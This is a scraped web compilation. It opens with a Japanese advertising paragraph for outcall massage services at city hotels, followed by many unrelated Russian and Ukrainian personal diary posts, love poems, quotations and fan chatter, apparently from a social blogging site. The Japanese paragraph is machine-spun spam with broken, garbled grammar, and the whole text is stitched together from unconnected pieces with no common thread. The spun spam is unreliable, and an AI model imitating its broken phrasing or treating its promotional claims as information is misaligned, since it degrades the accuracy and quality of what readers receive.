都会の高級なビージネスホテルに宿泊まりしてるいいてるとか、電話一本で駆けつけてくれる出張マッサージのお店がいくつもあるのです。地方の自宅には呼ぶことが難しくても、都会の高級ホテルに関しては多くのマッサージのお店が対応してるくれてるのです。そんな出張マッサージのお店で大手を利用する事が多くなりました。ネットで話題のマッサージ店の情報を探していると、必ず出てくるようなお店なのです。スタッフが多くいるのですが、どのスタッフに依頼しても同じような高品質なマッサージを受けることが可能になるのです。おそらく社員教育が徹底していて、なめらかなマッサージのやり方や、気持ちよいい方法を上手く教え込まれてるいいてるとか思うたのです。このような大手の出張マッサージのお店を利用すれば、安定した心地よさを得ることができます。なので、出張マッサージを依頼すてるとかきには人気のあてる順番 に選ぶべきです。お気に入りの担当者を見つける事を優先しますが、大手の場合はいつも同じ担当者に来てもらう事は難しいのです。参照元サイト

"Мы переспали случайно. Утром

я что-то делал, звонил кому-то,
и, может быть, через полчаса заметил ее глаза.
Густые волосы, высокие скулы.
Вспомнил, как мы вчера уснули.
Что было до этого, прошлым вечером.
Как долго мы болтали о вечном.

Коса. И мини. Длинные ноги.
Манера все время шутить о боге,
футболка в обтяжку, молния сзади,
стоны на автостраде.

— Наверно, хватит уже шататься.
Тебе хоть есть уже восемнадцать?
— Мне? Конечно. Намного больше.
— Прекрасно. Идти можешь?

И вот — нагая в лучах утра.
Смотрит так непривычно мудро,
так странно, что расхотелось есть.
Говорит:

— Я твоя смерть.

И почему-то поверил сразу.
забил на логику, доводы разума,
не вынул даже бритву Оккама,
а взял и спросил прямо:

— Когда?

— Не то чтобы очень скоро.
Еще как минимум лет сорок.
Может, и больше. Не бойся. Не съем.
Я маленькая совсем.

— А я ведь спрашивал. Спрашивал ведь!

— У тебя совершенно летняя смерть.
Не бойся. Я не хочу тебе зла.
Просто раньше зашла.

Ты так боишься, боишься меня,
ты все тупее день ото дня,
не спишь до одури, морды бьешь,
— ты так умрешь раньше, чем умрешь.

Куришь, дуешь, читаешь дрянь,
все время груб, постоянно пьян,
типа талантливый и ершистый,
а на деле боишься жизни.

Так вот. Не надо про «смерти нет».
Я есть. Мне нравится черный цвет.
Коты. Истории. И цветы.
И мне нравишься ты.

Сейчас я уйду. Но вы, люди, поймите:
ваш ангел смерти — ваш ангел-хранитель.
Я стану иной, несущей покой -
но запомни меня такой.

Не бойся жить. И меня тоже.
У меня не такая страшная рожа.
Ну, чего чашку в руках крутишь?

— Ты останешься? Чай будешь?.."

Оказывается, всё намного серьёзнее, чем я думала.

Я просто и здесь это напишу перед 213 моими "официальными" читателями и хрен знает каким количеством "левых" (без обид): я от тебя не уйду, мой милый Владь. Обещаю. Ты часть моей семьи, а семья для меня стоит на первом место- от семьи не уходят. Ты самый важный мужчина в моей жизни, не считая папеньку и брата. Ты мне больше, чем парень, больше, чем целый мир. Мне нужен только ты и ещё раз ты. Я тебя безгранично, безумно люблю. Даже сильнее, чем лемуров. Ты для меня всё, ты моё всё.

Моё сердце, я- целиком и полностью приналежат тебе.

Бросить все. Еду в чужой город, к абсолютно чужому человеку. Вернее, к человеку на двадцать лет старше. Что я там забыла? Кто меня ждет? Вот и посмотрим.

Привет дневник! Сегодня прошёл ещё один ужасный день…

О нет, что со мной не так? Мне уже давно не 15 лет для такого… Получается, что я в свои 20 типичный подросток?? Меня волнуют лайки в инстаграме, я обрабатываю фото по часу. а потом сижу и думаю загрузить ли его в социальные сети, период "меня никто не любит" ещё не прошёл… да о чём это я… у меня даже прыщи начали появлять только сейчас OMG/ пора взрослеть/ А может всё намного проще- у меня скучная жизнь…

Хорошо, что тут я никто - тут я настоящая :) Хочу представиться, я - ТОРИ, прото Тори… и мне это нравится!!!

— Ты чокнутая. - очередная постановка диагноза, вот только я не на больничной койке, да и он едва ли подойдет на роль моего лечащего врача. Я не спорю, толку то, если этот мужчина что-то вбил в свою рыжую голову, то все, пиши пропало. Моих губ касается подобие улыбки, тоже мне, Колумб.

- Сам ты ненормальный. - неуверенно отвечаю я и это не скрыть от его глаз, так всегда, нормальное существование оставьте для остальных, его любовь к вечной войне и моя зависимость от желания впрыскивать яд в чью-то кровь сильнее нас. Очередная схватка, в которой победитель пока не ясен, но каждый новый день мы сходимся если и не на жизнь, то до первой крови уж точно.

Кто я рядом с ним? Та, что становится сильнее, понимая, что идти на поводу у своих слабостей сродни подписанию смертного приговора. Однажды я сломалась, признав его полную и безоговорочную победу, вызвав у него лишь насмешку, да галочку напротив своего имени. Более этого не повторится, уберите из любых отношений чувства и смотрите, как ненависть с примесью чего-то, что заставляет кровь бурлить сделает свое дело. Адреналин в мозг, шашку наголо и очередной едкий комментарий из уст противника, это ли не чудо?

Еще одна ночь, еще одно испытание на выносливость, на крепость нервов и демонстрация остроты языка.

До встречи, мой ненавистный гений.

включила музыку что он мне прислал. в принципе все не так печально как мне показалось на первый взгляд. под уборку самое то. хотя кто я чтоб критиковать. он навернное прислал все самое любимое. я бы так сделала по крайней мере. а я такая мол это отстой. хотя ему скорее всего плевать на мое мнение. из 5 мне понравились 2,5. я бы тоже хотела прислать ему одну песню. но боюсь воспримет это как намек или что-то подобное. хотя может и правильно, потому что она мне поэтому и нравится, что там подходящий смысл. повода нет. для того чтоб что либо делать нужен повод. это так бесит. он же тоже без повода не может написать мне. не знает что писать якобы. блять. что угодно можно писать. хотя бы привет как дела. или про погоду, про невкусный кофе из ларька, про красивого кота с улицы, про что угодно. так расстроилась что мне не нравится то что он слушает. просто раньше было не так. раньше мне вообще все нравилось больше чем сейчас. я в общем не знаю я слишком много на этот счет. какая разница? пусть все рушится.

Когда вас одолевает скука, предайтесь ей. Пусть она вас задавит; погрузитесь, достаньте до дна. Вообще, с неприятностями правило таково: чем скорее вы коснётесь дна, тем быстрее выплывете на поверхность. Идея здесь, пользуясь словами другого великого англоязычного поэта, заключается в том, чтобы взглянуть в лицо худшему.

" Похвала скуке "
Иосиф Бродский

сначала они сводят Лидию с Пэришем, а Стайлза с Малией, а потом Джеф делает серию, в которой куча Стидии моментов, видимо, специально, чтобы мы сидели, умилялись и рыдали в одно и то же время*__* ахх. я люблю Малию и люблю Пэриша, но я до сих пор хочу, чтобы Стайлз и Лидия в конце концов были вместе.хуху сорринотсорри ;) и тут Тео с чего-то начал подкатывать к Малии, так что сейчас еще один пейринг появится. а что касается Скота и Киры… они, наверное, милые, но простите, я скучаю по Элисон и ни с кем другим Скота не вижу. опять все запутано, опять все мрачненько, в стиле Волчонка. спасибо Джеф.ха и да, еще раз замечу, что Дилан отличный актер, и то как он перевоплощается из веселого нелепого саркастичного парня в нервного, спокойного и немного сходящего с ума Стайза захватывает. люблю его. и я реально рада, что его не убили.ха

Ливень - это когда на асфальте вода,
превращается в быстрые реки.

- а любовь?

- а любовь я считаю когда,
целый мир лишь в одном человеке.

Планы на сегодня. Поубирать. Везде. Эта мысль прям угнетает. Уборка - это же мое любимое занятие. Поприседать бы хотя бы. А то в зал что-то не хочестя идти… Потом приготовить налисники. И наконец-то сходить в душ. Вечером надеюсь приедет Настя с винчиком, мы будем смотреть фильмец и кушать вкусняшки на ночь. О да!

Девули, подскажите хороший тональный крем или BB крем.
Последний раз мазалась маминым тональником лет 5 назад. После нашла для себя тональный мусс от Maybelline, но зимой он у меня закончился и я перестала его покупать. Сейчас пользуюсь только пудрой, но в последнее время меня это не устраивает, так как одна пудра нифига не помогает, а делает моё лицо еще хуже.
Поэтому я серьёзно решила купить себе хорошее средство от всех моих недостатков. Понимаю, что у каждого свой тип кожи и бла-бла-бла, но я даже не знаю к чему именно мне присматривать.
Поделитесь своим опытом, чем вы пользуйтесь, что вам нравится, что лучше/хуже.
Буду рада любому отзыву. ♥

Я не скажу "зашибись"…тут подойдет ЗАЕБИСЬььь. В какой то части вселенная пытается сделать меня виноватой. Мой любимый один не замечает внимание других ко мне.. Он только замечает всякую херь на пустом месте. напротив меня живет молодая парочка. Она любительница - фетиш леди, он - а он просто ездит на BMW и всегда приветствует меня при встречи. Я врезалась в него и его - о, привет. Показалось странным. Я отодвинулась - здравствуйте. Почему только мой парень не видит внимание со стороны. Он так настойчиво уверен, что я принадлежу ему, что аж невыносимо. Я твоя, да, но не стоит подавать чувства холодными. Пикантность тоже важна.

— Что такое счастливый брак?— спросили мудреца, — это когда мужчине уютно в доме, хорошо с женой и он не мечтает о свободе?

— Нет, — ответил мудрец, —счастливый брак — это когда им уютно в доме, хорошо друг с другом и они свободны.

Имей друзей поменьше, не расширяй их круг.И помни: лучше близких, вдали живущий друг.Окинь спокойным взором всех, кто сидит вокруг.В ком видел ты опору, врага увидишь вдруг.
© Омар Хайям

В стране вроде пиздец намечается из-за ПС со своими "рехверендумами".
Фиг пойми что к чему, до конца не знаю кому верить. ПС уже стал агантами Кремля :DDD наверное и их источник бабла Коломойский тоже ставленник Кремля :DDD и потому в Днепре все спокойно)) это все звучит ну уж очень смешно)))

Поживем и увидим, что будет дальше, жить во времена перестройки страны и передела власти, когда каждый воюет за власть друг с другом, но абсолютно всем насрать на людей -не очень то просто.

Ну а тем временем я ищу себе платьишко и думаю что еще нужно покупать)) 3 недели пролетело быстро, главное чтоб 2 месяца так же быстро не прошли…

Я, наверное, так любил,

Что скажите мне в эту пору,

Чтоб я гору плечом свалил, -

Я пошел бы, чтоб сдвинуть гору!

Я, наверное, так мечтал,

Что любой бы фантаст на свете,

Мучась завистью, прошептал:

— Не губи! У меня же дети…

И в тоске я сгорал такой,

Так в разлуке стремился к милой,

Что тоски бы моей с лихвой

На сто долгих разлук хватило.

И когда через даль дорог

Эта нежность меня сжигала,

Я спокойно сидеть не мог!

Даже писем мне было мало!

У полярников, на зимовке,

Раз, в груди ощутив накал,

Я стихи о ней написал.

Молодой, я и сам не знал,

Ловко вышло или не ловко?

Только дело не в том, наверно,

Я светился, как вешний стяг,

А стихи озаглавил так:

"Той, которая любит верно!"

Почему на земле бывает

Столько горького? Почему?

Вот живет человек, мечтает,

Вроде б радости достигает…

Вдруг - удар! И конец всему!

Почему, когда все поет,

Когда вот он я - возвратился!

Черный слух, будто черный кот

Прыгнув, в сердце мое вцепился!

Та же тропка сквозь сад вела,

По которой ко мне она бегала.

Было все: и она была,

И сирень, как всегда цвела,

Только верности больше не было.

Каждый май прилетают скворцы.

Те, кто мучился, верно знают,

Что, хотя остаются рубцы,

Раны все-таки зарастают…

И остался от тех годов

Только отзвук беды безмерной,

Да горячие строки стихов:

"Той, которая любит верно!"

Я хотел их спалить в огне:

Верность женская - глупый бред!

Только вдруг показалось мне

Будто кто-то мне крикнул:- Нет!

Не спеши! И взгляни пошире:

Пусть кому-то плевать на честь,

Только женская верность в мире

Все равно и была и есть!

И увидел я сотни глаз,

Заблестевших из дальней тьмы:

— Погоди! Ты забыл про нас!

А ведь есть на земле и мы!

Ах, какие у них глаза!

Скорбно-вдовьи и озорные,

Женски гордые, но такие,

Где все правда: и смех и слеза.

И девичьи - всегда лучистые

То от счастья, то от тоски,

Очень светлые, очень чистые,

Словно горные родники.

И поверил я, и поверил!

— Подождите!- я говорю.-

Вам, кто любит, и всем, кто верен,

Я вот эти стихи дарю!

Пусть ты песня в чужой судьбе,

И не встречу тебя, наверно.

Все равно. Эти строки тебе:

"Той, которая любит верно!"

Любовь - это пятое время суток, -

Не вечер, не ночь, не день и не утро.

Придешь ты - и солнце сияет в полночь,

Уйдешь ты - и утро темнее ночи.

Любовь - это пятое время года, -

Не осень она, не весна, не лето,

Она не зима, а то, что ты хочешь,

И все от тебя одной зависит.

Любовь ни с чем на свете не схожа:

Не детство, не старость, не юность, не зрелость;

Любовь - это пятое время жизни.

Я тварь, и я твоя жена. Ты нравился себе лишь когда пытался быть таким, каким мог бы понравиться этой твари. И я не сдаюсь. Я ведь тварь. Я убила ради тебя. Кто ещё бы так смог? Думаешь, ты был бы счастлив с какой-то простушкой? Никогда, детка. Существую лишь я.

Gone Girl.

И понимаешь, что это – не главное. Он говорит тебе: «Ты – моя славная!», Страшно ревнует «Глаза-то уставшие. Что же ты снова полночи не спавшая?» И, о проблемах в плечо его хлюпая, Ты – бесконечно счастливая, глупая. Он говорит: «Все наладится, славная». И понимаешь, что вот оно – главное..

Я смеялась навзрыд и плакала невпопад,
ревновала тебя к одежде, к часам, к рулю.

но все это было тысячу лет назад.
я не люблю тебя. слышишь? уже не люблю.

Я - девушка. И как многим известно, для девушек любовь - это весь мир. Мы гибнем, загибаемся, ломаемся без любви. Либо сначала ломаемся, а потом становимся стервами. Либо наоборот, сначала такие все из себя, а потом приходит любовь и ломает нас. Если взять мозаику, то можно смело сказать, что для большинства любовь - это практически вся эта мозаика. Без этого чувства у девушек может не складываться учёба, работа, карьера, отношения с друзьями и родными, может не складываться она сама. И вот тут вот хочется сравнить нашу мозаику с мозаикой парней. Для них любовь - это лишь часть, составляющая. Они прекрасно могут работать, общаться, жить не имея этой части в картине. Именно поэтому чаще всего девушки страдают по поводу "он уделяет мне мало времени, внимания и тд.". Нам просто нужно принять тот факт, что у девушек и парней определение любви разные, даже, я бы сказала, очень разные. Мы без любви слетаем с катушек, плачем и проклинаем всё вокруг, а парни в это время могут спокойно достигать успехов в карьере, покупать машины, пить пиво вечерами с друзьями. А когда и к ним приходит любовь, они начинают чувствовать себя ещё более уверенно, ибо они окончательно дополнили жизненную мозаику. У них есть всё: работа, машина, друзья, деньги и любимая, которая верит в него, которая боготворит его, которая поддерживает и помогает. Не нужно быть обузой мужчине, только потому, что он не может постоянно быть рядом с вами. Помните, что если хотите видеть своего человека счастливым - нужно давать ему возможность построить это счастье. И не нужно совершать ошибку, думая, что для мужчины всё счастье заключается в вашем присутствии. Нет, это далеко не так. Живите сами и дайте жить ему. Тогда всё будет хорошо.

то ли радоваться, что у нас не будет лишних денег, то ли печалиться.
но ясно вот что: были бы деньги, был бы дом набит альбомами с репродукциями климта, мухи, всякими энциклопедиями с большими красивыми картинками..


-"теплее одевайся в слякоть зимнюю и стужу.
я ухожу, но лишь на время, не на век,
ты поищи того, кто точно будет лучше"-
сказал мне самый лучший человек.

-"но не печалься, не грусти, пусть и душою ты ранима.
уж поздний час, тебе пора домой…
ты просто не нашла еще того, кого бы полюбила"-
сказал мне самый близкий и родной.

меня тоска и боль съедали изнутри, хоть весела была снаружи,
и не сомкнуть сегодня мне заплаканных, опухших век.-
" ты просто не нашла того, кто будет нужным"-
сказал мне самый нужный человек.

Я никогда не могла навязываться. Я разучилась предъявлять претензии мужчинам и доканывать их вопросами. На их вопрос: «Ты обижаешься?» Я отвечала, что привыкла. Давно привыкла к боли, грязи и разочарованиям. Давно привыкла к такому отношению.

season 1 // season 2

п оддавшись какому-то порыву, вчера я написала еще один мини фф про любимых Лукаса и Майю ;) кстати, вышли новые серии, но я их еще не смотрела*_*

в общем, кому интересно, вот ссылка на фф:

  • конфетку?

В твоiх очах залишy я весь подих лiта,
Весь подих сонця i вiтpy.
Усе що даpувало й забиpало
Ранкове сонце й свiтло.

Залиш менi погляд свiй yвi cнi,
Погляд свiй yвi снi до весни залиши.
Залиш менi погляд свiй yвi cнi,
Погляд свiй…

Все, половина дела сделано, осталось совсем немного. Одев- почувствовал себя в другом мире, незабываемые ощущения. Эта сталь, этот клинок. Твердо решил, что когда встану на ноги и буду сам в силах оплатить эту мечту - обязательно куплю.

он исчезал потихоньку, отдаляясь все больше и больше. то есть физически он присутствовал, мы все время были вместе, но я чувствовала, что он куда-то уходит, даже если сидит в соседнем кресле.

чувствует ли человек, что из-за него плачут? чувствует ли, как за него молятся? а может слышит, как его вспоминают? как его имя, на запястьях выводится.

в такие минуты она не знала, что делать. она кусала губы до боли, в надежде хоть на секунду унять физической болью душевную боль. она скучала… самое страшное – скучать по человеку и совершенно ясно понимать, что вы никогда не встретитесь. никогда…

и однажды, сидя, как прежде, на его кухне,
ты закуришь неспешно, звёздную пыль клубя.
одночасом колкое прошлое к чёрту рухнет.
- просто… чай недостаточно сладкий
(я ухожу от тебя).

мы обязательно встретимся, слышишь?
где-то за сто восьмым перекрестком моих одиночеств
расскажи мне о том, как ты больше меня не помнишь.
и пройди сквозь меня
так, как будто впервые видишь

после всего того дерьма,
через которое я прошла,
раз за разом туша окурок.
как это мило, боже, ты недавно сказал мне прости.
слушай сюдав меня в глаза
я не прощаю тебя, ублюдок

Я чемпион уже всамделишный по
ломке дров.
езжай уже к своей хорошей девочке
и будь здоров.

Я не хочу опускаться до плинтуса, падать в ненужные крайности
Не хочу заливаться текилой и рвать твои фотографии
Я хочу теплое море…и уткнуться в твое плечо
А ты за волосы тянешь меня на дно.

я искала тебя, в ком-то другом,
чтобы общие были привычки,
чтоб как ты умел целовать,
а потом втыкать в меня спички.
я искала похожие дни,
я искала похожие губы,
но знаешь ли, что-то в груди мне шептало:
" такого больше не будет"

Рассказать тебе, как с нелюбимыми целоваться?
Как это, рядом с нелюбимыми просыпаться?
Как чувствовать их руки на своем теле?
/Они все. Мечтали. Ласкали. Кончали. Хотели./
Как показывать чужим свои кружева черные?
(Не чернее моей души)
Каждый день на мне раны новые.
Куда уж еще? Старые еще свежи.
Как щенок побитый, скулю и ползу ласкаться.
И в чужих объятиях думаю: "Лишь бы не разрыдаться"

На часах 12:57 мне осталось спать 4 часа от силы, а я не могу уснуть, потому что слишком много думаю. Дура.

да. Я нашла в нём всё, что искала. но я понятия не имею, за что его полюбила. наверное, если знаешь причину любви, то это уже не любовь. одно могу сказать: моя душа нашла в нём такое же самое безумство. и мне этого было достаточно.

Уии, у меня самый лучший папенька на свете!

Пришёл от брата:

-Привет, собираешься куда-то?, - я поникшая:

-Угу.

-Куда?

-Ну куда-куда.

-К врачу?

-Угу.. Съездишь со мной?

-5 минут у меня есть?, - пошёл собираться.

Осталась 4 часть крика. С каждой частью все менее страшно. Правда я осталась на 3 дня сама дома, и это как-то пугает. Теперь нужно посмотреть все части звездных воин. Но этим я бы занялась с Юликом. Если выпадет возможность хд чтоб потом не говорил что у нас ничего общего ахах


и здоровье уже на нуле,
но как в песне
" плевать, если я заболею..",
жаль лишь счастья,
что сгнило в помойном ведре,
мы вернуть его не сумели.

Не знаю, что может быть хуже утра, когда звонит мама и говорит:

-Привет, снова врача пропустишь?

По утреннему состоянию понимаешь, что ты вчера перебрала и тебе совсем хреновенько, сейчас нужно в быстром темпе собраться и поехать в роддом к заведующей, от нахождения в котром, мне хочется блевать. Ко всему прочему, узнаю, что я иду не просто на консультацию, а снова на осмотр. ОДНА. ОДНА, МАТЬ ВАШУ. Мама на работе, папеньку мне туда неловко тащить, а Владь после вчерашней тусы у Лёшки до сих пор спит. Твою мать, твою мать, Я ЕДУ ОДНА В РОДДОМ. ЗА ЧТО МНЕ ЭТО?!

Джейк: Если я побегу и прыгну на Терри, он скорее всего меня поймает. ЛОВИ!

Терри: Неет, у меня кофе!

И в тот же день, когда я увидела его с ней, мне звонит с отдыха мама и как ни в чем не бывало задает вопрос - "видела К.?".. -да, сегодня на улице видела. -общались? -так, привет пока. -он что, был с девушкой?… В такие моменты мне кажется, что маме идет слив всей связанной со мной информации через маленькую дырочку в стене. Настолько прекрасная у нее интуиция. Я соврала, что он был один, но по приезду она снова заводит этот разговор, пытаясь узнать, что же случилось, я спускаю на тормозах, вроде как просто не общаемся. И так всегда, на тему, про которую ты предпочла бы забыть, приходится говорить, что-то отвечать, потому что она-то знает, что от того, что хочу, просто так я не отказываюсь. Когда-то я уже писала здесь, что возможно и в этот раз не стоило пытаться, и была права, но я так не могу. Потому что "лучше б тебя и не было, но лучше тебя и нет".

Знал бы ты, как это больно. Ломать собственную душу. Раньше я всегда думала, что больно ломать свое тело, теперь уж вижу, что нет, по сравнению с душой, тело - сущая ерунда.

мы можем забыть цвет глаз, улыбку, голос, общие шутки и всякие связывающие нас с человеком мелочи. Но мы никогда не забудем то чувство, которое испытывали, находясь рядом

Дружили мы втроем, все было классно. А теперь Настя не хочет со мной гулять. Почему же? Потому что когда мы гуляем втроем, я, типо, "забираю" у нее Карину. А то, что сама себя ведешь как ебнутая, это ничего? А так же мне "нельзя" идти гулять с нашим общим другом и с ними, потому что она думает, что я "захапаю себе Антона", который ей даже не парень. И это все я узнаю от нашей общей подруги, и теперь очень хочется сделать пакость, сделать гадость. Я ведь тебя другом считала, а ты так поступаешь.

Позвать Антона гулять что ли? :D

Недавно приобрела попугайчика - Яша. Дня четыре назад, может больше, не помню. По-началу всем было страшно за его поведение, он боялся всего что ли, шугался ото всех, не знаю, как он не умер вообще в те, для него, тяжелые дни. Но потом в нашем попугае начал рождаться аристократ.

И сейчас, этот маленький засранец, возомнил из себя что-то на подобии Николая Баскова, и каждый день, ровно в 8: 00, начинает свой выездной оркестр, с рождаемыми конвульсиями.

Мне кажется, это лапа доведет весь дом, зато каждый из нас станет ближе к музыке.: Р

Кисейным барышням вроде меня всегда были чужды любые отклонения от нормы, в моем собственном понимании, само собой. Бледность моей кожи всегда называли аристократической, длинные хрупкие пальцы, как казалось всем окружающим, созданы исключительно для игры на клавишных инструментах вроде фортепиано, покорность стана брала истоки в далеком 19 веке:"Наверняка, пра-триста раз-внучка какой-нибудь этакой графини"-говорили они. Ошибались, заблуждались они.

Заставил меня усомниться во всех этих прелестях один, казалось бы, ничем не примечательный, вечер. Думаю, вы уже поняли:раз я пишу здесь, значит мое сердце на расстоянии трех сантиметров, а я, как и подобает кисейным барышням, задыхаюсь от удушливого счастья, обвившего свои крепкие руки вокруг моего покорного стана. Жаль лишь, что в отличие от девушек тех времен, у меня под рукой не имеется флакончика нюхательных солей, предупреждающих внезапные обмороки.

Началось всё с того, что мое сердце решило устроить мне ночную мини-экскурсию по столь вожделенному мною городу. В качестве транспорта был выбран зверь, именуемый скутером или байком, как ни назови, для меня он всё тот же зверь. Учитывая смелость и неразумность моего отчаянного мужчины, все средства подстраховки были оставлены на витринах всех огромных, неизведанных моллов южных городов. Я, как и подобает хрупкому созданию, вцепилась в него, будто он и есть та самая единственная спасительная соломинка, что вот-вот ускользнет из вида. Тем самым я создала нехилую проблему, учитывая, что сила, с которой нас кидало в одну и ту же сторону, была куда больше, чем следует. После непродолжительной лекции, я ослабила хватку. Следом мое сердцебиение увеличилось во сто крат, и я начала истерически хохотать, прося его немного сбавить скорость, в ответ получив:”О чем ты, принцесса, это всего лишь 14 км/ч“. Лично мне казалось, что мы гоним со скоростью света. Следующий этап-мои молитвы семи Богам, на секундочку, ни одной молитвы я в принципе не знаю. далее были слезы и боязнь остаться без ресниц. Но всё это напускное.

Далее следовала трасса длиною в жизнь. Тут-то и начинается самое захватывающее. Мое сердце, повернувшись ко мне, при этом упорно давя на газ, вдруг выдает:"Тормоза не работают, а сейчас я покажу тебе, с какой скоростью я обычно езжу.” Разогнавшись до ста, он обернулся и спросил:“Ты мне доверяешь?” Именно в эту секунду, возможно впервые в жизни, я поняла, что этому человеку я не только верю, но и доверяю. Доверяю свои чувства, свое сердце и, что более, чем важно, свою жизнь. Невнятно покачав головой в ответ я улыбнулась и поцеловала его в шею. Он знает, что это значит. Мы знаем. Следующие минуты, перетекающие в часы, описывать нет смысла, ибо была лишь глубокая темная ночь, прохладный ветер и мы.

Я люблю тебя, мое сердце, ты сумел завоевать не только лишь абстрактные описания меня, но и меня вцелом. Тысячи раз спасибо Богу за тебя.

Удалить из друзей, стереть номер, порвать фотографии, выкурить пачку сигарет и вылакать бутылку вина, при этом рыдая навзрыд во весь голос до тошноты, до боли в глазах, до нервного срыва. Да это не выход. Но мне так легче. Поэтому идите в жопу со своими советами. Каждый борется с болью, как может.

На часах полдень. Я после очередной веселой ночи. Заберите меня, пожалуйста, с этой грешной и порочной планеты. В предыдущем посте упомянула грядущую официант пати. Она состоялась. Парни пришли, мы выпили, поиграли, побесились и по койкам. Я, как обычно, совершила ненужный звонок. Конечно же Б.: подождала пару гудков и сбросила. Через несколько секунд смс: "на время смотришь вообще?". Естественно, я больше не напоминала о себе. Не трудно догадаться, что, если в 5 утра тебе поступает немой звонок от бывшей, она - в хлам. Утром он мне перезвонил, но я не ответила. Я как-то с ходу забила на данную ситуацию. А вот курина реакция на это действие, меня поразила. Она начала реветь, не просто плакать, а рыдать. Типа своего вспомнила (друга Б.) и поняла, что скучает. Мы принялись ее успокаивать. И вдруг начали драться. Тот, с кем я делюсь, постоянно говорил о том, как мы мило смотримся с тем, который мне нравился. Объясню, почему в прошедшем времени. Он лег со мной. И немудрено, начал приставать. Мне было приятно, и я позволяла это делать. Поцелуи, прочие ласки, но многого я не позволила. А настроен он был уверено. Прежнее уважение он напрочь потерял в моих глазах. Назову его И. И. больше года встречается с девушкой. Д. - тот, с кем я делюсь, ставил его в пример против наших бывших. Мол, он свою любит и будет с ней до конца. До хуинца! Вчера одноклассница приехала ко мне. Сходили в кино, выпили. И. напросился к нам выспаться. Лег на сей раз с курой, и они делают все то же, что и мы с ним. Я не сплю и спалила их. Хотя с ним мы все без палева делали, но я потом сама все куре рассказала. И я не понимаю в первую очередь ее. Мне бы противно стало подпускать к себе парня, который пару дней назад в этой же квартире лапал мою подругу. Я сейчас еле сдерживаю рвоту. Мое самолюбие бы никогда не допустило подобного поведения. С таким образом жизни нужно завязывать. Никого не подпущу к себе отныне. А с И. я теперь нормально работать не смогу даже. Хочу взять выходной, устала блять. Как же по-скотски все выходит. Гнилой мир, гнилое время. Как уберечься? Душа скоро протухнет от такой жизни и, подобно портрету Дориана Грэя, извергнет желчь по ту сторону зеркала. С девушкой познакомились, которая выпивала в одиночестве и тосковала о чем-то. Выяснилось, что причина тому - измены мужа, их ребенку 3 года. Она показала мне фото. Я не понимаю этих монстров с хуями. Одноклассница рассказала, что подруга переспала с ее парнем. Уши вянут уже от таких историй. Люди, если мы дальше будем так равнодушны к чувствам друг друга, мы просто утратим их. Сольемся с миром животных, в котором люди также будут беспорядочно спариваться, а самки регулярно беременеть, хер пойми от кого. Я считала, что смогу так жить, что мне хватит стойкости и цинизма. Но нет. Все это отвратительно и чуждо моему понимаю о взаимоотношениях между людьми. Почему же большинство мужчин позволяют себе животное поведение. Еще меньше я понимаю девушек, слабых на передок. Твари. Жалкие твари. Их души мертвы. Я сыта по горло ложью и предательствами вокруг. Может после Б. рана еще открыта и, поэтому я так бурно реагирую на любую мелочь. Я даже стала понимать Л., почему она злись на меня из-за Б. Меня даже посетила мысль о том, что она хотела меня уберечь от него, зная его сущность. Но не буду напрасно вселять в себя веру в искренность ее дружбы. В этом плане я тоже наелась. Мама - единственная, в чьей искренности я никогда не усомнюсь. Остальное все, к сожалению, подвластно обстоятельствам. Как известно, даже в отцовскую любовь я утратила веру.

Когда мы ломаем людей, мы забывает о том что на земле есть законы вселенной, которые обязательно возвратят нам боль причиненную другому человеку стократно. И эти законы работаю вне зависимости от того знаем мы о их существовании или нет.

Можно забыть номер телефона, номер квартиры, число дня рождения, можно забыть все числа которые вас когда либо связывали, но не прикосновения пальцев до дрожи пробирающих тело, не цвет глаз в которых видела свое отражение, ни запах тела от которого дурела, засыпая на его плече. Бл*ть, лучше бы мы помнили номера.

Я никак не пойму, что я делаю не так.

Первое предложение, конечно, не особо метко отражает суть того, что я хочу сказать.

Моя дозированная грубость, неприкрытая жесткость, естественная дерзость, смешные, но точно пошлые шутки — часть моего повседневного поведения.

Со стороны я себя не вижу, не могу оценить привлекательно все это или нет. Исходя из того, что у меня есть хорошие друзья, энное количество компаний и вообще мне легко даются новые знакомства, следует — во мне есть то, что притягивает и просит остаться. Люди не бегут врассыпную.

Только вот не пойму: притягивает людей мои вышеописанные черты, или люди держаться меня вопреки им.

Данное конкретное я менять не хочу. Мне так весело и комфортно, а самое главное защищенно! У меня есть над чем другим поработать.

Мужчины рядом со мной нет. По-настоящему и не было. Это заставляет задуматься, хочу я или нет.

Возможно, ради эксперемента, есть смысл подыграть окружающему миру и замаскироваться на время.

Есть люди - настоящие люди, за которых нужно бороться не смотря ни на что, ни беря во внимание никакие слова, выводы, просьбы. Просто брать звонить и приезжать. Держать за руки и тихонько шептать на ухо. Я никогда тебя никуда не отпущу. Никогда.

Источник: https://www.lovetime.ru/post-163470/

Я ему обещала и я его больше не трону
нет вины его в том, что не смог меня полюбить.
" не прикажешь" - смертельнейшая аксиома.
за минутное счастье так дорого нужно платить.

и уже не хочется знать, как твои дела,
c кем ты спишь, и кто помогает проснуться.
никогда не понять тебе, как я жила
между твоими: "прощай" и "хочу вернуться".

тут даже головой биться бесполезно без тебя самые длинные километры дорог прости меня, чудесный я сотый раз спотыкаюсь о тот же порог

у меня дурацкая память. Я помню преимущественно ночи. Дни, свет - это быстро забывается, а вот ночи я помню прекрасно. Поэтому жизнь кажется мне полной огней. Ночь всегда празднична. Ночью люди говорят то, что никогда не скажут днем. Вы заметили, что ночью голоса у людей, особенно у женщин, меняются? Утром, после ночных разговоров люди стыдятся смотреть друг другу в глаза. Люди вообще стыдятся хороших вещей, например, человечности, любви, своих слез, тоски, всего, что не носит серого цвета.

Когда собственная мать не понимает тебя, то это скажу вам, отвратительно. Миллионы раз у нас возникали конфликты не из-за чего. Иногда, конечно, когда ей кто-то портил настроенине, она жаловалась или же срывалась на мне.

Так вышло, что мы вроде как ладим с ней. Хотя, порой мне кажется, что мы абсолютно не сходимся во мнениях. Она порой просто не слышит меня и интерпритирует мои высказывания по-своему, всячески пытаясь выставить себя жертвой.

По мне, так это глупо и бессмысленно. Окей, тебе почти 44 и у тебя нету работы и нормальной жизни, а все, что тебе остается делать, подтирать сопли и задницы всем родственникам. Если ты так ненавидишь собственную жизнь, то черт, женщина, тебе 44 и ты можешь найти денег, положить огромный фиг на Вселенную и свалить куда-то. Там ты бы смогла найти работу, ну, в худшем случае, мужика, который бы мог содержать тебя.

